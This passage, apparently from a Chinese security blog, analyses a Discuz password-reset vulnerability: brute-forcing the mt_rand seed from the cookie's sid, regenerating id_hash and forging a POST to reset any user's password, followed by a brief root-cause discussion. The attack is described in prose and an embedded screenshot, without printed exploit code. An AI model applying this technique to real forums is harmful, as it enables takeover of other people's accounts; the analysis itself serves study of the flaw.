然后代码用cookie中sid一样的生成方式random(6)去生成一个随机hash,用这个hash来和cookie值进行比较,并通过 for循环不断的更换seed种子,对seed进行逆向猜测,看到这里,我突然感觉到这个逆向中的算法注册机的思想是类似的。都是一种算法逆向思想,这也是为什么要写这篇文章的原因,感觉这种思想还是比较有意思的。

接下来,如果得到了和sid一样的hash,则表明我们逆向推出了seed,然后再按照DZ的程序逻辑,一一对应的运行相应次数的mt_rand(),正向得到id_hash。

得到id_hash之后,就可以构造第三个POST数据包,对目标用户进行密码重置了。

aaarticlea/png;base64,iVBORw0KGgoAAAANSUhEUgAAAhoAAACcCAIAAAC2rZWdAAAME0lEQVR4nO3aW24bRxbG8VrgXB4smTsIEGAGswbbMr2GvDmxIK8iiWEbMuAdBJg4sALIQJ7mIssW7SHnoclmdVWdU6ebh2RT+v9wHlrN6urqi89HKQkLAAA2Fva9AADAbUCcAAAcECcAAAfECQDAAXECAHBAnAAAHBAnAAAH242Tt7/8QVEURd2F2nqcbHV+AMBIECcAAAc7ipN/fZpTFEVRt7iIE4qiKMqhdhQn//48pyiKom5xEScURVGUQ+0oTv7zeU4dbu39NZVq73eG2qT2/v7wXvkWcUJRFEU51I7i5L83801q77eJGmfxXlHbKN6rYXUYcXK7K4QQQmg3YpvMlmxXB1MURW1SY4qT92f3Or10+mOz/+U0hPDgpf/F//PZJJ05XUO49+zS63Q/nkQXFT+DbpwkO5Nh1chJdipjjBNSFEVZakdxcnUzr9f7s3sh3Ht2eXUzv7q5fHocQpj+ZDlwaP26ihNhDc2AydP3Pqf76aR8RU0Tvyp1+b6n0HOinVCafNhJKYqirkYcJ/Or1S8l641VADTWMRD9SrE8/OW03V438ZfTuLGuZu6mhbSGzlnWh8TrWR11/iCEcDy5txq5GjN9kMXJgI5feZy2oyyRQ1EU1at2FCcfZ/N6XZwdhXB0epn++GoaQnj4qjPg55MQwuTpxfzj7PxhCOHk/ONsvh75aho6I6c/r090/jCEcHz2bjm+maS8hujY9VnenU6WR12cHa0OT0e2Z7w4O1omzfmDkMbJ8hmsmrgeLdUMKG4Xc0KKjYOLE9N7dXtr7/f/ttben+yBvlcjjpO2g3fjpJsNUYRkO4tx8u50sh5/cXaUzLY8xVozyTpC8nW+an/pyeKte2AWbMtqDrY/bGW8cSo9mfb+NlMUdYg14jjJfzuZxb172Zo78dCWGCeXT49Xv5rM5h9n5w/X26U1rObpxEkbGFG8lX9b6sbJu9OJEid/+stfjc3dEif6VANmpiiK0mtHcXI9m9dr1crjHx++ml+v4iQe3KZI8dPrVQxcz+YvTkII0xfZftMaVtnQpML3F50x8c7oLMtDonXmY5YV9/pkZ762dn++UT22OJXE9LAoiqK6Nd44WTffNjDiMFinSNS+2xnWUy3/S8aL2fx6dvn9caehrzNJWMP6jM0vIifn11FCRIc3Z2lioxMnwkq6zyCKh6PjidTZiykiRZE9J4gQiqJcakdx8unLvF6/J//dYvqi2f96GkJ49Hq93Tg6vSwc+Pi82fni8XKSR49XU73u/J9d4f7Z29PJeubyGtYTRh9Nfvi9GX/5w/3lrkeP20WeP4qP+jL/7XSSrqRbzQzNxtH9SftjcUyyLX2kjGl+/PPqb2vKUW1dj7VM7xU11tr7+8N75VtjipO7WtU4qWaDFCeJ+JA4TtqdUphRFEVVa0dx8vnLfJPa+23a4gOI/O3v/1AyIBmvzPbJFjmfstQ5uDjhvaK2UbxXw+ow4oSiKIoaee0qTr7Ot1v7vo/Ufor3itpG8V4Nqh3Fyc3XOUVRFHWLizihKIqiHGpHcTL72qNuKMpWvFfUNor3aliNMU4oiqKog6tdxcn/qDtWu3mD936Z1I6L92rEtaM4efvLHxRFUdQtrh3FCQDgdiNOAAAOiBMAgAPiBADggDgBADggTgAADogTAIAD4gQA4IA4AQA4IE4AAA6IEwCAA+IEAOCAOAEAOCBOAAAOiBMAgAPiBADggDgBADggTgAADogTAIAD4gQA4IA4AQA4IE4AAA7GGychpGtL9uQD8k/1MZss5qBZbp0ysvpo2p3VE7XiSZIFFPVakjSJNBuAAcYSJ/k/b6WRxS1Aagp6nPRtLsM7zofnk/DkjXFjqPzWbXI5UiNWDlcmtNy6+GHZxys77RcY7+z7VgCIjSVOYtWeWGwc0s7iPJb259NZ8qjYQpzkKy/urLbL0G3o+jzFOfWF9VptvFM5keW6qosxrhmAYixxkjcI6dN8cL4htcVit1JWou80STPjzZNll/v22+XGkzedOGkH9A6Y5OqSm2C8lmK02B+HvrDi/vxpDp5QP8SYN8PmBzCWOFmU/pAV71+UcmJh66FKS83bSjWr7Fe0WPT+Y9ebJ2Hy/MNi0G8sA+LE0kyLP1YnUcYXP5Uerq44zH6lvU6nXCOAxTjjJNljHNMrY5ScULrnkJ7SL07aNGm2O3miNLWk6ylr1n9MdiYtO95IYkBpu8qts7T4vvurT7x6rL7R/kjAAIkRxcnC/FtFsWVIPWXYhv5FNTmX1ll6x0msjZZ+f6ZTWqoxTpSrzn8Urz1bTHG/dJZ8hcp28XDjsfl2/qClYfq1A3fKocZJ/k9a7zXSifTGkYyR1qy1ld5xUv4Ll6WFJWOKfbl44dXblZ+3Ok9+lGVaZU8xbKSzbB4n0oa0E8CI4kRvf9LOPGDy8fq2cshCbk/KIR1D/9tJ5+9eq7Po/UvqqtWrk45S7lg1PKozxPPombSoPYX88M3jJFmM5fKBO+4g48SyZ/D3SuPXVWUBHYXM+PB8EkJ48qbdKP+fXd0wMcjbX984yXcW70ByIuO5ep2uOEBp7sm2tKT4I2V5lucOIDGWOKk2iOIwZU9xwuLXz9wiazfJ9tiai7Ta/Fb0jRPjgfk9kW6R3uLz/ZanYHxbiovM51TeCgCKscRJTE+IagzER0ntQOkO9g47TtWOuRDuoT6D5QYW+7s0TO/dxXdAmjY+b3V72LIP6AUA9mWMcQIAODjECQDAAXECAHBAnAAAHBAnAAAHxAkAwAFxAgBwQJwAABwQJwAAB8QJAMABcQIAcECcAAAcECcAAAfECQDAAXECAHBAnAAAHBAnAAAHxAkAwAFxAgBwQJwAABwQJwAAB8QJAMABcQIAcECcAAAcECcAAAfjipPwzXdep26mUiZMPlJ+zCeRBhdPF775rq38x3yG4gDl7BL7zcwvJ1lA8WZWb8uwRVYnsZzFeOuqz8vyOAA0DixO7P/U9TixdDElUZLJ9TCQmrI+Z6/F9xqjhFlxwcW1FU8xrOHmKat3cOMY/XTGq7A8DgCN8caJ3pqV7UW3D+bzSDNbvoTGjdXedqWzV++AdDekljrsm7V+94pXrdzPDdtu9XAlZTfJpL7vGIDEWOKk2PTjT4vDii0jn0Fp98q5pDPmR1UnKV6I8ml+LdWZjectfqQHXr5RnHPzbmuMJcuJ+i7GmNy95gTumrHEycLWnavfHPNj9R+lfl3s7Mb5FdWLqh5ejVL9vPr3cf329orhXldUXGo+zN7i9UnyMX23AeQOL04sbaU4ld5HpI3qVPp6lAF5a6tGhdQlkzH2+yNde3Fb2mPv8kXKJMWFSSu33OfqdVVvAgDJgcVJcbz0kZIQSqPJp82DxN7mlFVZDrTkjaXl6WOkyJQ2kpXoF1VNF+lm9r0uy379LO0eSyQDSIwlTqTWH28P/gba6+vn4DhR2l++vA37vv0QaUzxKOlKi9eeHCi13V5x4hWT+rNItu3ZA0AxljhZmDv1Qu5u0pzJtr1lSyFnjxM9Oao9vXiI3nb1MfarMwatJfPscSIdNeA7hHR2y7OrngtAbkRxsuj5ZVNvQ0rXMMaJ0t+lo6oZkP+oXEJxKn1n9cC8P0r3Jw+h/NM8NftmibK2vu27V5wY10mEAHYjipM8BoqNOBkfDy7Ok+/Ue5blu7l+6mRbWph0VPFi85HSYvIByv7i4dJ9rsbqsK/wUhQpj0C5dcWS5rGsre/lAHfWWOLE3r7tO/WeIo2vnqXa8Yvf3JOj8mOV2SyLKV5y9Zt+skhlgHE90k6FHqv5fuWovvPnt0i5gcPCErg7xhInAICDRpwAABwQJwAAB8QJAMABcQIAcECcAAAcECcAAAfECQDAAXECAHBAnAAAHBAnAAAHxAkAwAFxAgBwQJwAABwQJwAAB8QJAMABcQIAcECcAAAcECcAAAfECQDAAXECAHBAnAAAHGw9TiiKoqi7UNuNEwDAHUGcAAAcECcAAAfECQDAAXECAHBAnAAAHBAnAAAHxAkAwAFxAgBwQJwAABwQJwAAB8QJAMABcQIAcECcAAAcECcAAAfECQDAAXECAHBAnAAAHBAnAAAHxAkAwAFxAgBwQJwAABwQJwAAB8QJAMDB/wGpqFte8nLAZQAAAABJRU5ErkJggg==" alt="" />

这样,就完成了通过暴力猜解对任意用户的密码进行重置。

4. 漏洞成因

我感觉这个漏洞的成因就是因为现在的伪随机算法本身的随机性就不强,即明文空间太小了,攻击者可以有限的时间内对明文空间进行暴力猜的,达到密文空间。如果要解决这个问题,应该更换明文空间更大的算法。类似MD5,SHA1那种,让基于逆向算法的猜解变得很难才行。

至此,整个poc就分析这样了,接下来继续学习DZ的其他的漏洞和poc,希望能从每个漏洞中都认真分析,学到点东西。